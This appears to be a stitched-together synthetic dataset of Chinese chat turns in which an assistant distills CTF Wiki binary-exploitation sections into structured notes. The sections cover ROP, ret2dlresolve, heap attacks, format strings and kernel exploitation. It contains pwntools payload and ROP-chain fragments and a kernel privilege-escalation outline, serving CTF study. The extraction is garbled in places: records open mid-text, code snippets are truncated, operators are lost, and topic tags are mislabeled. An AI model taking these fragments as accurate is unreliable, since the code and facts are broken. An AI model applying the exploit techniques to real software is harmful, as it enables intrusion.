- ``python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!
- } ` 通过动态调试，我们可以发现 l_versions 的起始地址，并且其中一共有 3 个元素。
- 因此，我们只需要将 base_stage 增加 (0x080487C2-0x080487A8)/20x10，即可达到对应的目的。
- 与此同，根据上面的调试信息，可以知道 l_versions 的前两个元素中的 hash 值都为 0，因此如果我们使得 ndx 为 0 或者 1 时，就可以满足要求，我们来在 080487A8 下方找一个合适的值。

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `那我们可以再次运行看一下伪造后 ndx 具体的值`
- plain: 1 行，首行 `可以发现，ndx_落入了 `.eh_frame` 节中。`
- plain: 1 行，首行 `进一步地，ndx 的值为 0x442C。显然不知道会索引到哪里去。`
- plain: 1 行，首行 `通过动态调试，我们可以发现 l_versions 的起始地址，并且其中一共有 3 个元素。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct rop chain

边界/溢出 堆 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找puts@plt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 攻击原理 > Blind ROP > 寻找输出函数 > 寻找puts@plt
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“寻找puts@plt”展开。
- 寻找puts函数(这里我们寻找的是 plt)，我们自然需要控制rdi参数，在上面，我们已经找到了brop gadget。
- 那么，我们根据brop gadget偏移9可以得到相应的gadgets（由ret2libc_csu_init中后续可得）。
- 一般来说，其payload如下 `` payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget) ``
- 同时在程序还没有开启PIE保护的情况下，0x400000处为ELF文件的头部，其内容为\x7fELF。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寻找puts@plt

中级ROP
BROP
攻击原理
Blind ROP
寻找输出函数
寻找puts@plt

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「泄漏」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 利用 > 泄漏
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 这样当 0x555555756060～0x555555756068 写入 book 指针时就会覆盖掉结束符 '\x00' ，所以这里是存在一个地址泄漏的漏洞。
- 之后我们创建 book1 ，这个 book1 的指针会覆盖 author name 中最后的 NULL 字节，使得该指针与 author name 直接连接，这样输出 author name 则可以获取到一个堆指针。
- 通过打印 author name 就可以获得 pointer array 中第一项的值。
- `` 0x555555756040: 0x6161616161616161 0x6161616161616161 0x555555756050: 0x6161616161616161 0x6161616161616161 <== author name 0x555555756060: 0x0000555555757480 <== pointer array 0x0000000000000000 0x555555756070: 0x0000000000000000 0x0000000000000000 0x55...
- 因为程序中的 my_read 函数存在 null byte off-by-one ，事实上 my_read 读入的结束符 '\x00' 是写入到 0x555555756060 的位置的。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 5 行，首行 `0x555555756040: 0x6161616161616161 0x6161616161616161`
- plain: 19 行，首行 `io.recvuntil('Enter author name:') # input author name`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

泄漏

堆中的 Off-By-One
实例 1: Asis CTF 2016 b00ks
利用
泄漏

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「系统调用 与 pt\_regs 结构体」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`
标题：利用 pt\_regs 构造通用内核 ROP
章节：利用 pt\_regs 构造通用内核 ROP > 系统调用 与 pt\_regs 结构体
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“系统调用 与 pt\_regs 结构体”展开。
- 现在让我们将目光放到 entry_SYSCALL_64 这一用汇编写的函数内部，注意到当程序进入到内核态时，该函数会将所有的寄存器压入内核栈上，形成一个 pt_regs 结构体，该结构体实质上位于内核栈底，定义如下： ``c struct pt_regs { / C ABI says these regs are callee-preserved.
- / top of stack page / };
- 或许不少人都能够答得上来是由我们在用户态布置好相应的参数后执行 syscall 这一汇编指令，通过门结构进入到内核中的 entry_SYSCALL_64这一函数，随后通过系统调用表跳转到对应的函数。
- They aren't saved on kernel entry unless syscall needs a complete, fully filled "struct pt_regs". / unsigned long r15;
- Always saved on kernel entry. / unsigned long r11;

关键术语：
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 34 行，首行 `struct pt_regs {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

系统调用 与 pt\_regs 结构体

利用 pt\_regs 构造通用内核 ROP
系统调用 与 pt\_regs 结构体

栈 ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation code:c

利用 pt\_regs 构造通用内核 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：get shell > 2017 insomni'hack wheelofrobots > 基本功能
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本功能”展开。
- 读取的长度是 5 个字节，恰好覆盖了 bender_inuse 的最低字节，即构成了 off-by-one 漏洞。
- 综上分析，我们可以知道的是，该程序主要存在的漏洞 off-by-one 与整数溢出。
- 这里我们主要使用前面的off-by-one 漏洞。
- 时就可能导致 20v5 溢出，但与此同时， destructor_size = v5 仍然会很大。
- 大概分析程序，可以得知，这是一个配置机器人轮子的游戏，机器人一共需要添加 3 个轮子。

关键术语：
- 边界/溢出
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本功能

get shell
2017 insomni'hack wheelofrobots
基本功能

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「基本功能分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`
标题：House Of Einherjar
章节：House Of Einherjar > 2016 Seccon tinypad > 基本功能分析
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本功能分析”展开。
- 首先，可以看出，程序以来一个核心的读取函数，即读取指定长度字节的字符串，然而，当读取的长度恰好为指定的长度时，会出现 off by one 的漏洞。
- 通过分析程序，我们不难看出，这个程序的基本功能是操作一个 tinypad，主要有以下操作 - 开头，程序每次开头依次判断每个 memo 的指针来判断是否为空，如果不为空，进而利用 strlen 求得其相应的长度，将 memo 的内容输出。
- 在编辑时，程序首先根据之前存储的 memo 的内容将其拷贝到 tinypad 的前 256 个字节中，但正如我们之前所说的，当 memo 存储了 256 个字节时，就会存在 off by one漏洞。
- 与此同时，程序利用 strlen 判断复制之后的 tinypad 的内容长度，并将其输出。
- 之后程序继续利用 strlen 求得 memo 的长度，并读取指定长度内容到 tinypad 中，根据读取函数，这里必然出现了 \x00。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本功能分析

House Of Einherjar
2016 Seccon tinypad
基本功能分析

House Of Einherjar


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md`
标题：执行 Shellcode
章节：执行 Shellcode > 介绍
路径分类：pwn / pwn/windows/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- shellcode 是一段用于利用软件漏洞而执行的代码，shellcode 为16进制之机械码，以其经常让攻击者获得 shell 而得名。
- 可在暂存器 eip 溢出后，塞入一段可让 CPU 执行的 shellcode 机械码，让电脑可以执行攻击者的任意指令。
- 在编译时关闭 ASLR、NX 、CANARY 选项，这样就可以在输入时把 shellcode 布置在栈中，通过动态调试获得所需要的 padding 溢出到返回地址为输入的 shellcode 地址，这样程序返回后便会执行 shellcode。
- 文件: ./figure/demo2-1.png]

关键术语：
- 边界/溢出
- 栈
- 漏洞利用
- pwn
- windows
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

边界/溢出 栈 漏洞利用 pwn windows user-mode stackoverflow

执行 Shellcode


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > 格式化字符串盲打 > 例子2-盲打劫持got > 确定偏移
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定偏移”展开。
- 在泄露程序之前，我们还是得确定一下格式化字符串的偏移，如下 ``shell ➜ blind_fmt_got git:(master) ✗ nc localhost 9999 aaaaaaaa%p%p%p%p%p%p%p%p%p aaaaaaaa0x7ffdbf920fb00x800x7f3fc9ccd2300x4006b00x7f3fc9fb0ab00x61616161616161610x70257025702570250x70257025702570250xa7025 `` 据此，我们可以知道格式化字符串的...

关键术语：
- pwn
- linux
- user-mode
- fmtstr
- code:shell

代码/命令片段线索：
- shell: 3 行，首行 `➜ blind_fmt_got git:(master) ✗ nc localhost 9999`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定偏移

例子 格式化字符串盲打 例子2-盲打劫持got 确定偏移

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「context.log_level="debug"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：context.log_level="debug"
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“context.log_level="debug"”展开。
- context.terminal = ["tmux","splitw","-h"] context.arch="amd64" io = process("./readable") rop = ROP("./readable") elf = ELF("./readable")
- bss_addr = elf.bss() csu_first_addr = 0x40058A csu_second_addr = 0x400570
- def csu_gadget(rbx, rbp, func_ptr, edi, rsi, rdx): # rdx = r13 # rsi = r14 # rdi = r15d # call [r12+rbx8] # set rbx+1=rbp return flat([csu_first_addr, rbx, rbp, func_ptr, rdx, rsi, edi, csu_second_addr], arch="amd64")+'a' 0x38
- def read16bytes(targetaddr, content): payload = 'a'*16 payload += p64(targetaddr+0x10) payload += p64(0x400505) payload += content.ljust(16, "\x00") payload += p64(0x600890) payload += p64(0x400505) return payload

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

context.log_level="debug"

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack GOT > 例子 > 分析程序
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“分析程序”展开。
- 大概浏览一下每个功能的代码，发现在 get 功能中存在格式化字符串漏洞 ``C int get_file() { char dest;
- 首先分析程序，可以发现程序似乎主要实现了一个需密码登录的 ftp，具有 get，put，dir 三个基本功能。
- // [sp+10Ch] [bp-Ch]@3 printf("enter the file name you want to get:");
- strncmp(&s1, "flag", 4u) ) puts("too young, too simple");
- strcmp(i, &s1) ) { strcpy(&dest, i + 0x28);

关键术语：
- 密码学
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:c

代码/命令片段线索：
- C: 19 行，首行 `int get_file()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析程序

密码学 漏洞利用 pwn linux user-mode fmtstr code:c

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「利用步骤」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：from pwn import * > Challenge 4 : HITCON 2019 one_punch_man > 利用步骤
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“利用步骤”展开。
- 下面在调用 calloc 前下断点，可以看到此时 tcache[0x100] 有 6 个堆块，small bin 的分配顺序为 0x000055555555c460->0x55555555cc80->0x000055555555901f ，在 calloc(0xf0) 调用后， 0x000055555555c460 会被返回给用户， 0x55555555cc80 被链入tcache，而由于没有多余位置，跳出循环， 0x000055555555901f 不做处理。
- ret) ，以便 add 的时候将 rsp 改到可控的输入区域调用 rop chains 来 orw 读取 flag 。
- 我们选择通过调用后门函数修改 __malloc_hook 为 gadget(mov eax, esi ;

关键术语：
- UAF
- 堆
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:bash

代码/命令片段线索：
- bash: 29 行，首行 `gdb-peda$ heapinfo`
- bash: 28 行，首行 `gdb-peda$ heapinfo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用步骤

UAF 堆 ROP/JOP AI安全 漏洞利用 pwn linux user-mode heap code:bash


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「Step.II - UAF 泄露可控堆对象地址，篡改 pipe\_buffer 劫持控制流」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`
标题：Heap Spray
章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3 > 漏洞利用 > Step.II - UAF 泄露可控堆对象地址，篡改 pipe\_buffer 劫持控制流
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Step.II - UAF 泄露可控堆对象地址，篡改 pipe\_buffer 劫持控制流”展开。
- 可以用来控制内核执行流的结构体有很多，但是我们需要考虑如何完整地执行 commit_creds(prepare_kernel_cred(NULL)) 后再成功返回用户态，因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain。
- ` 那么这里我们可以利用 UAF 使得 user_key_payload 与 pipe_inode_info 占据同一个 object， pipe_inode_info 刚好会将 user_key_payload->datalen 改为 0xFFFF 使得我们能够继续读取数据，从而读取 pipe_inode_info 以泄露出 pipe_buffer 的地址。
- 而 pipe_buffer 是动态分配的，因此我们可以利用题目功能预先分配一个对象作为 pipe_buffer` 并直接在其上伪造函数表即可。
- > 对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。
- wait_queue_head_t rd_wait, wr_wait;

关键术语：
- UAF
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 25 行，首行 `struct pipe_inode_info {`
- c: 7 行，首行 `struct pipe_buffer {`
- c: 7 行，首行 `struct pipe_buf_operations {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Step.II - UAF 泄露可控堆对象地址，篡改 pipe\_buffer 劫持控制流

UAF 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

Heap Spray


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串函数介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`
标题：原理介绍
章节：原理介绍 > 格式化字符串函数介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“格式化字符串函数介绍”展开。
- 几乎所有的C/C++程序都会利用格式化字符串函数来输出信息，调试程序，或者处理字符串。
- 一般来说，格式化字符串在利用的时候主要分为三个部分 - 格式化字符串函数 - 格式化字符串 - 后续参数，可选 这里我们给出一个简单的例子，其实相信大多数人都接触过printf函数之类的。
- 格式化字符串函数可以接受可变数量的参数，并将第一个参数作为格式化字符串，根据其来解析之后的参数。
- 通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。
- [图片文件: ./figure/printf.png]

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

格式化字符串函数介绍

原理介绍 格式化字符串函数介绍

原理介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Loadable Kernel Modules(LKMs)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > Loadable Kernel Modules(LKMs)
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Loadable Kernel Modules(LKMs)”展开。
- 常见的 LKMs 包括： - 驱动程序（Device drivers） - 设备驱动 - 文件系统驱动 - ... - 内核扩展模块 (modules) LKMs 的文件格式和用户态的可执行程序相同，Linux 下为 ELF，Windows 下为 exe/dll，mac 下为 MACH-O，因此我们可以用 IDA 等工具来分析内核模块。
- Linux Kernel采用的是宏内核架构，一切的系统服务都需要由内核来提供，虽然效率较高，但是缺乏可扩展性与可维护性，同时内核需要装载很多可能用到的服务，但这些服务最终可能未必会用到，还会占据大量内存空间，同时新服务的提供往往意味着要重新编译整个内核。
- 综合以上考虑，可装载内核模块（Loadable Kernel Modules，简称LKMs）出现了，位于内核空间的LKMs可以提供新的系统调用或其他服务，同时LKMs可以像积木一样被装载入内核/从内核中卸载，大大提高了kernel的可拓展性与可维护性。
- > Linux 内核之所以提供模块机制，是因为它本身是一个单内核 (monolithic kernel)。
- 它在运行时被链接到内核作为内核的一部分在内核空间运行，这与运行在用户控件的进程不同。

关键术语：
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Loadable Kernel Modules(LKMs)

pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md` 中的章节「通过实例学习 large bin attack 的原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/large-bin-attack.md`
标题：Large Bin Attack
章节：Large Bin Attack > 通过实例学习 large bin attack 的原理
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“通过实例学习 large bin attack 的原理”展开。
- 这里我们拿 how2heap 中的 large bin attack 中的源码来分析 ``c // 主要漏洞在这里 / This technique is taken from https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/ [...] else { victim->fd_nextsize = fwd;
- fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
- 一定要用 glibc2.25 的 loader，改变 loader 的方法可以看这里：https://www.jianshu.com/p/1a966b62b3d4 pwngdb 走起，开始我们的分析之旅： [图片文件: ./figure/large_bin_attack/large_bin_attack1.png] 先跳到这个语句：（比 how2heap 源文件多添加了一个 p4 变量） [图片文件: ./figure/large_bin_attack/large_bin_attack2.png] 由于刚 f...
- fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
- fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");

关键术语：
- 堆
- 栈
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 85 行，首行 `// 主要漏洞在这里`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

通过实例学习 large bin attack 的原理

Large Bin Attack
通过实例学习 large bin attack 的原理

堆 栈 AI安全 漏洞利用 pwn linux user-mode heap code:c

Large Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake stack
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct fake stack”展开。
- rop.raw(0) rop.raw(0) rop.raw(0x0000000000400773) # pop rdi;
- ret rop.raw(0x600B30+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef)

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct fake stack

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「update-2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：in order not to merge into top chunk > 2016 0CTF zerostorage-待完成 > 基本功能分析 > update-2
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“update-2”展开。
- 3. 读取更新后storage 元素所需要存储内容的长度。
- 2. 读入要更新的storage元素的id，如果id大于31或者目前处于不处于使用状态，说明不对，直接返回。
- 4. 根据 bss 段对应的随机数获取原先storage 存储内容的地址， 5. 如果更新后所需的长度不等于更新前的长度，就使用realloc为其重新分配内存。
- 否则如果申请的字节数小于128，那就设置为128；
- 否则，如果申请的字节数不大于4096，那就设置为对应的数值；

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

update-2

in order not to merge into top chunk
2016 0CTF zerostorage-待完成
基本功能分析
update-2

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：Arm ROP > jarvisoj - typo > 确定保护
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定保护”展开。
- 静态链接说明我们可以在 binary 里找到 system 等危险函数和 "/bin/sh" 等敏感字符串，因为又是 No PIE， 所以我们只需要栈溢出就能构造 ropchain 来 get shell

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
